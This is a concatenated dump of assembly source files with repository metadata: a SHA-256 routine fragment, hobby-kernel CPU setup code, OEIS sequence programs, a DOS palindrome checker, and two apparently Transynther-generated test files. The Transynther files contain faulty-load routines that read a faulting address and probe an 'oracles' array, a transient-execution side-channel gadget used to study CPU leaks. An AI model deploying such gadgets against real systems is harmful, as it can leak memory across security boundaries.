<rsp+12*4>, 090BEFFFAh SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, <rsp+13*4>, 0A4506CEBh SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, <rsp+14*4>, 0BEF9A3F7h SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, <rsp+15*4>, 0C67178F2h ;; ;; update digest ;; add [rdi+0*4],r8d add [rdi+1*4],r9d add [rdi+2*4],r10d add [rdi+3*4],r11d add [rdi+4*4],r12d add [rdi+5*4],r13d add [rdi+6*4],r14d add [rdi+7*4],r15d add rsi, MBS_SHA256 sub qword ptr[rsp+16*sizeof(dword)], MBS_SHA256 jg sha256_block_loop REST_XMM REST_GPR ret IPPASM UpdateSHA256 ENDP ENDIF ;; (_IPP32E GE _IPP32E_M7) AND (_IPP32E LT _IPP32E_U8 ) ENDIF ;; _FEATURE_OFF_ / _FEATURE_TICKTOCK_ ENDIF ;; _ENABLE_ALG_SHA256_ END
40.166667
94
0.591286
8117bdaacd0c5b55a1d8a634d50e4168fb6d8e82
6,700
asm
Assembly
core/cpu/asm_cpu.asm
m44rtn/vireo-kernel
99461392b7cbb4ab4ee1ad283b639353ed6edb6d
[ "MIT" ]
7
2019-05-11T19:39:54.000Z
2022-03-24T14:53:02.000Z
core/cpu/asm_cpu.asm
m44rtn/vireo-kernel
99461392b7cbb4ab4ee1ad283b639353ed6edb6d
[ "MIT" ]
31
2019-05-11T13:12:04.000Z
2021-11-14T00:05:32.000Z
core/cpu/asm_cpu.asm
m44rtn/vireo-kernel
99461392b7cbb4ab4ee1ad283b639353ed6edb6d
[ "MIT" ]
2
2019-05-19T14:51:15.000Z
2019-05-20T00:05:49.000Z
;MIT license ;Copyright (c) 2019-2021 Maarten Vermeulen ;Permission is hereby granted, free of charge, to any person obtaining a copy ;of this software and associated documentation files (the "Software"), to deal ;in the Software without restriction, including without limitation the rights ;to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ;copies of the Software, and to permit persons to whom the Software is ;furnished to do so, subject to the following conditions: ; ;The above copyright notice and this permission notice shall be included in all ;copies or substantial portions of the Software. ; ;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ;IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ;FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ;AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ;LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ;OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ;SOFTWARE. ; CPU_SAVE_STATE: these are the defines for the struct (you can find it in the C code somewhere) %define CPU_SAVE_STATE_EIP (esi + 32) %define CPU_SAVE_STATE_EAX (esi + 28) %define CPU_SAVE_STATE_ECX (esi + 24) %define CPU_SAVE_STATE_EDX (esi + 20) %define CPU_SAVE_STATE_EBX (esi + 16) %define CPU_SAVE_STATE_ESP (esi + 12) %define CPU_SAVE_STATE_EBP (esi + 08) %define CPU_SAVE_STATE_ESI (esi + 04) %define CPU_SAVE_STATE_EDI (esi + 00) ; CPU SAVE STATE: these are the defines for the stack, it looks nicer %define CPU_SAVE_STATE_STACK_EIP (ebp + 44) %define CPU_SAVE_STATE_STACK_EAX (ebp + 40) %define CPU_SAVE_STATE_STACK_ECX (ebp + 36) %define CPU_SAVE_STATE_STACK_EDX (ebp + 32) %define CPU_SAVE_STATE_STACK_EBX (ebp + 28) %define CPU_SAVE_STATE_STACK_ESP (ebp + 24) %define CPU_SAVE_STATE_STACK_EBP (ebp + 20) %define CPU_SAVE_STATE_STACK_ESI (ebp + 16) %define CPU_SAVE_STATE_STACK_EDI (ebp + 12) bits 32 ;for lack of a better name global ASM_GDT_SUBMIT ASM_GDT_SUBMIT: ; gives the location of the GDT descriptor to the cpu ; input: ; - pointer to the GDT descriptor ; output: ; - N/A push ebp mov ebp, esp mov eax, [ebp + 8] lgdt [eax] mov eax, cr0 or eax, 0001b mov cr0, eax ;should be 0x08 jmp 0x08:.SEGMENT_RELOAD .SEGMENT_RELOAD: mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax mov esp, ebp pop ebp ret global ASM_IDT_SUBMIT ASM_IDT_SUBMIT: ; gives the IDT descriptor location to the cpu ; input: ; - pointer to the IDT ; output: ; - N/A push ebp mov ebp, esp cli mov edx, [ebp + 8] lidt [edx] sti mov esp, ebp pop ebp ret global ASM_CPU_PAGING_ENABLE ASM_CPU_PAGING_ENABLE: ; hopefully this enables paging correctly ; input: ; - pointer to the page table ; output: ; - N/A push ebp mov ebp, esp mov eax, [ebp + 8] mov cr3, eax mov eax, cr0 or eax, 0x80000000 mov cr0, eax mov esp, ebp pop ebp ret global ASM_CPU_INVLPG ASM_CPU_INVLPG: ; invalidates a page ; input: ; - physical address where the page table points to ; output ; - N/A push ebp mov ebp, esp mov eax, ebp add eax, 8 invlpg [eax] mov esp, ebp pop ebp ret global ASM_CPU_SAVE_STATE ASM_CPU_SAVE_STATE: ; saves the current state of the cpu. it uses ; pushad (so that has to be done already before calling this function) ; and the struct defined in cpu.h and cpu.c ; ; also, NOTE: if you use this for exceptions, and they push an error code on ; the stack, the error code MUST first be popped before using this function. ; otherwise the error code gets stored in the cpu struct as eip. ; ; input: ; - pushad ; - pointer to struct to store the values ; output: ; - N/A push ebp mov ebp, esp mov esi, [ebp + 8] mov eax, [CPU_SAVE_STATE_STACK_EDI] mov [CPU_SAVE_STATE_EDI], eax mov eax, [CPU_SAVE_STATE_STACK_ESI] mov [CPU_SAVE_STATE_ESI], eax mov eax, [CPU_SAVE_STATE_STACK_EBP] mov [CPU_SAVE_STATE_EBP], eax mov eax, [CPU_SAVE_STATE_STACK_ESP] mov [CPU_SAVE_STATE_ESP], eax mov eax, [CPU_SAVE_STATE_STACK_EBX] mov [CPU_SAVE_STATE_EBX], eax mov eax, [CPU_SAVE_STATE_STACK_EDX] mov [CPU_SAVE_STATE_EDX], eax mov eax, [CPU_SAVE_STATE_STACK_ECX] mov [CPU_SAVE_STATE_ECX], eax mov eax, [CPU_SAVE_STATE_STACK_EAX] mov [CPU_SAVE_STATE_EAX], eax mov eax, [CPU_SAVE_STATE_STACK_EIP] mov [CPU_SAVE_STATE_EIP], eax mov esp, ebp pop ebp ret global ASM_CHECK_CPUID ASM_CHECK_CPUID: ; check if CPUID is supported ; input: ; - N/A ; output: ; - 1 if supported, 0 if unsupported (in CPUID_AVAILABLE) pushfd mov eax, DWORD [esp] popfd and eax, 0x200000 cmp eax, 0x200000 jne .done mov BYTE [CPUID_AVAILABLE], 1 .done: ret global ASM_CPU_GETVENDOR ASM_CPU_GETVENDOR: ; gets the vendor id of the cpu ; input: ; - N/A ; output: ; - Vendor string (in var CPUID_VENDOR_STRING) mov eax, 0 cpuid mov DWORD [CPUID_SUPPORTED_FUNCTIONS], eax mov DWORD [CPUID_VENDOR + 0x00], ebx mov DWORD [CPUID_VENDOR + 0x04], edx mov DWORD [CPUID_VENDOR + 0x08], ecx mov eax, CPUID_VENDOR mov DWORD [CPUID_VENDOR_STRING], eax ret global ASM_CPU_GETNAME ASM_CPU_GETNAME: ; gets the cpu name string of the cpu ; input: ; - N/A ; output: ; - Vendor string (in var CPUID_CPUNAME_STRING) mov eax, 0x80000002 cpuid mov DWORD [CPUID_CPUNAME + 0x00], eax mov DWORD [CPUID_CPUNAME + 0x04], ebx mov DWORD [CPUID_CPUNAME + 0x08], ecx mov DWORD [CPUID_CPUNAME + 0x0C], edx mov eax, 0x80000003 cpuid mov DWORD [CPUID_CPUNAME + 0x10], eax mov DWORD [CPUID_CPUNAME + 0x14], ebx mov DWORD [CPUID_CPUNAME + 0x18], ecx mov DWORD [CPUID_CPUNAME + 0x1C], edx mov eax, 0x80000004 cpuid mov DWORD [CPUID_CPUNAME + 0x20], eax mov DWORD [CPUID_CPUNAME + 0x24], ebx mov DWORD [CPUID_CPUNAME + 0x28], ecx mov DWORD [CPUID_CPUNAME + 0x2C], edx mov eax, CPUID_CPUNAME mov DWORD [CPUID_CPUNAME_STRING], eax ret ; for the cpuid functions global CPUID_AVAILABLE CPUID_AVAILABLE db 0 global CPUID_VENDOR_STRING CPUID_VENDOR_STRING dd 0 CPUID_VENDOR times 13 db 0 global CPUID_CPUNAME_STRING CPUID_CPUNAME_STRING dd 0 CPUID_CPUNAME times 48 db 0 global CPUID_SUPPORTED_FUNCTIONS CPUID_SUPPORTED_FUNCTIONS dd 0
23.024055
96
0.69209
78bda9952be799236702a892476ef8461640a8d1
395
asm
Assembly
programs/oeis/075/A075091.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/075/A075091.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/075/A075091.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A075091: Sum of Lucas numbers and reflected Lucas numbers (comment to A061084). ; 4,0,6,0,14,0,36,0,94,0,246,0,644,0,1686,0,4414,0,11556,0,30254,0,79206,0,207364,0,542886,0,1421294,0,3720996,0,9741694,0,25504086,0,66770564,0,174807606,0,457652254,0,1198149156,0,3136795214,0 mov $1,2 mov $2,1 lpb $0 sub $0,2 add $1,$2 add $2,$1 lpe lpb $0 bin $0,3 mov $1,$0 lpe mul $1,2 mov $0,$1
23.235294
194
0.683544
07956b5af2c2b0eab2033337dbc8c687a2ef4096
715
asm
Assembly
lab programs/p5a.asm
Amanskywalker/mp-lab
4103c61c0b0fee67cfda6dab313adfaebdb5badb
[ "MIT" ]
null
null
null
lab programs/p5a.asm
Amanskywalker/mp-lab
4103c61c0b0fee67cfda6dab313adfaebdb5badb
[ "MIT" ]
null
null
null
lab programs/p5a.asm
Amanskywalker/mp-lab
4103c61c0b0fee67cfda6dab313adfaebdb5badb
[ "MIT" ]
null
null
null
.model small printf macro msg lea dx,msg mov ah,9 int 21h endm printf .data ask db 10,13,"enter string:$" original db 50 dup("$") reverse db 50 dup("$") pal db 10,13,"its palindrome$" npal db 10,13,"not palindrome$" .code mov ax,@data mov ds,ax mov es,ax mov cx,0 lea si,original lea di,reverse printf ask back:mov ah,1 int 21h cmp al,13 je done mov [si],al inc si inc cx jmp back done: dec si mov bp,cx copy: mov al,[si] mov [di],al dec si inc di loop copy lea si,original lea di,reverse cld mov cx,bp repe cmpsb je pali printf npal jmp exit pali: printf pal exit: mov ah,4ch int 21h end
10.671642
33
0.594406
6ec6bbeff954069ac5af27dd273f751900f4beca
120
asm
Assembly
Userland/SampleCodeModule/asm/sys_caller.asm
ignacioVidaurreta/bootLoader
f7e65811a4aa2356414ff1abb98475db9108c34a
[ "BSD-3-Clause" ]
1
2020-06-24T11:57:04.000Z
2020-06-24T11:57:04.000Z
Userland/SampleCodeModule/asm/sys_caller.asm
ignacioVidaurreta/bootLoader
f7e65811a4aa2356414ff1abb98475db9108c34a
[ "BSD-3-Clause" ]
null
null
null
Userland/SampleCodeModule/asm/sys_caller.asm
ignacioVidaurreta/bootLoader
f7e65811a4aa2356414ff1abb98475db9108c34a
[ "BSD-3-Clause" ]
null
null
null
GLOBAL int80 section .text int80: push rbp mov rbp, rsp mov rax, r9 int 80h mov rsp, rbp pop rbp ret
8
14
0.625
f9f25cf4da73e919db15253322ec02e0e78a608e
366
asm
Assembly
programs/oeis/302/A302930.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/302/A302930.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/302/A302930.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A302930: Maximum number of 6's possible in an infinite Minesweeper grid with n mines. ; 0,0,0,0,0,1,1,2,2,3,3,4,4,5,6,6,7,8,8,9,10,10,11,12,12,13,14,15,15,16,17,18 mov $3,$0 sub $0,1 add $0,$3 sub $0,1 mov $2,$0 mov $4,2 mov $5,$0 add $5,2 mov $6,2 lpb $2,1 mov $1,$5 mul $5,2 lpb $5,1 sub $1,$4 add $6,1 sub $5,$6 lpe mov $2,1 lpe div $1,2
15.25
87
0.571038
1ee1e767041f1ea7b7baffc9cdbbc660b914060d
4,260
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_760.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_760.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_760.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r8 push %rcx push %rdi push %rdx lea addresses_A_ht+0x1aaba, %rcx clflush (%rcx) nop nop nop nop nop and %rdx, %rdx mov (%rcx), %r15w nop nop nop sub $64120, %rdi lea addresses_WT_ht+0x122fa, %r11 nop cmp %r13, %r13 movb (%r11), %r8b xor %rdx, %rdx pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rbp // Faulty Load mov $0x715f4b0000000bba, %r11 xor $5722, %r14 movb (%r11), %r12b lea oracles, %rbp and $0xff, %r12 shlq $12, %r12 mov (%rbp,%r12,1), %r12 pop %rbp pop %r9 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 6}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
59.166667
2,999
0.660094
496bba55567e8fa51c20a24b03bde67f72a54cc5
5,744
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2644.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2644.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2644.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0xea03, %rsi lea addresses_normal_ht+0x1b2c3, %rdi nop nop inc %r8 mov $110, %rcx rep movsb nop nop sub %rbp, %rbp lea addresses_WT_ht+0x101fc, %rsi lea addresses_normal_ht+0x136c3, %rdi nop add $43134, %r10 mov $77, %rcx rep movsq nop nop inc %r8 lea addresses_normal_ht+0x96c3, %r10 nop nop nop nop nop xor $36301, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%r10) nop and %r8, %r8 lea addresses_WT_ht+0x1c6b3, %rsi nop nop nop dec %rcx movb $0x61, (%rsi) nop nop xor $56774, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r9 push %rbp push %rbx push %rdx // Load lea addresses_WC+0x56c3, %rdx nop nop nop nop nop add $28453, %rbx movb (%rdx), %r9b nop nop nop nop nop and $42499, %r11 // Store lea addresses_WT+0x1a2c3, %rbp xor $55381, %r15 movw $0x5152, (%rbp) nop nop nop xor %rdx, %rdx // Store lea addresses_PSE+0x14f43, %rbx nop nop nop nop xor $46917, %r15 mov $0x5152535455565758, %r9 movq %r9, %xmm4 vmovups %ymm4, (%rbx) nop add $55551, %rbx // Faulty Load lea addresses_PSE+0x22c3, %rbp nop nop nop xor %r15, %r15 vmovups (%rbp), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r11 lea oracles, %rdx and $0xff, %r11 shlq $12, %r11 mov (%rdx,%r11,1), %r11 pop %rdx pop %rbx pop %rbp pop %r9 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
39.888889
2,999
0.660515
47117f2da97d24da0bbab7d7114895868e394fa5
263
asm
Assembly
programs/oeis/225/A225491.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/225/A225491.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/225/A225491.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A225491: Maximal frequency depth for multisets over an alphabet of n letters. ; 0,4,5,6,6,6,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 mov $2,2 lpb $0 add $0,$2 mov $1,8 mov $3,14 div $3,$0 mov $0,0 sub $1,$3 lpe mov $0,$1
18.785714
81
0.577947
332e48ce9a3caa8286fc40d41b6aed7234dbda77
347
asm
Assembly
programs/oeis/329/A329926.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/329/A329926.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/329/A329926.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A329926: Beatty sequence for (8+sqrt(41))/5. ; 3,6,9,12,15,18,21,24,27,30,33,36,40,43,46,49,52,55,58,61,64,67,70,73,77,80,83,86,89,92,95,98,101,104,107,110,113,117,120,123,126,129,132,135,138,141,144,147,150,154,157,160,163,166,169,172,175,178,181 mov $4,$0 add $0,1 mov $3,$0 mul $3,2 div $3,25 mov $1,$3 add $1,3 mov $2,$4 mul $2,3 add $1,$2
24.785714
202
0.648415
20a9283c7f27a2beb9dbd8df7964734839010c44
1,428
asm
Assembly
programs/oeis/105/A105638.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/105/A105638.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/105/A105638.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
